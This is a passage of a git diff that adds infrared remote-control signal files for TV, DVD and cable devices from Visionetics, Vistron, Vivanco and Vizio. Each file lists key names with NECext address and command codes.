+type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 34 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 37 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir new file mode 100644 index 000000000..128ff4d26 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir new file mode 100644 index 000000000..e174e1404 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: V-Mode +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: Step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: L/R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: N/P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir new file mode 100644 index 000000000..391254cce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: DVB-Menu +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: Index +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 40 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: S.M +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: Freeze +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: Nicam +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: P.M +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: Size +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: Mix +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: Hold +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: Reveal +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir new file mode 100644 index 000000000..c90033405 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: SPLIT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: EMPTY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 34 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: A.B +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 53 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir new file mode 100644 index 000000000..53f0b74b8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: menu2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: menu3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: menu1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: menu4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir new file mode 100644 index 000000000..64717e727 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: STDBY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: FRW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: TVVCR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: TELETXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: SCR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir new file mode 100644 index 000000000..d782c95c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: chdn +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: mts +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2F 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 49 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: component +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 60 00 00 00 +# +name: pipsize +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: pipinput +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 62 00 00 00 +# +name: pipch- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: pipch+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 64 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 65 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 66 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 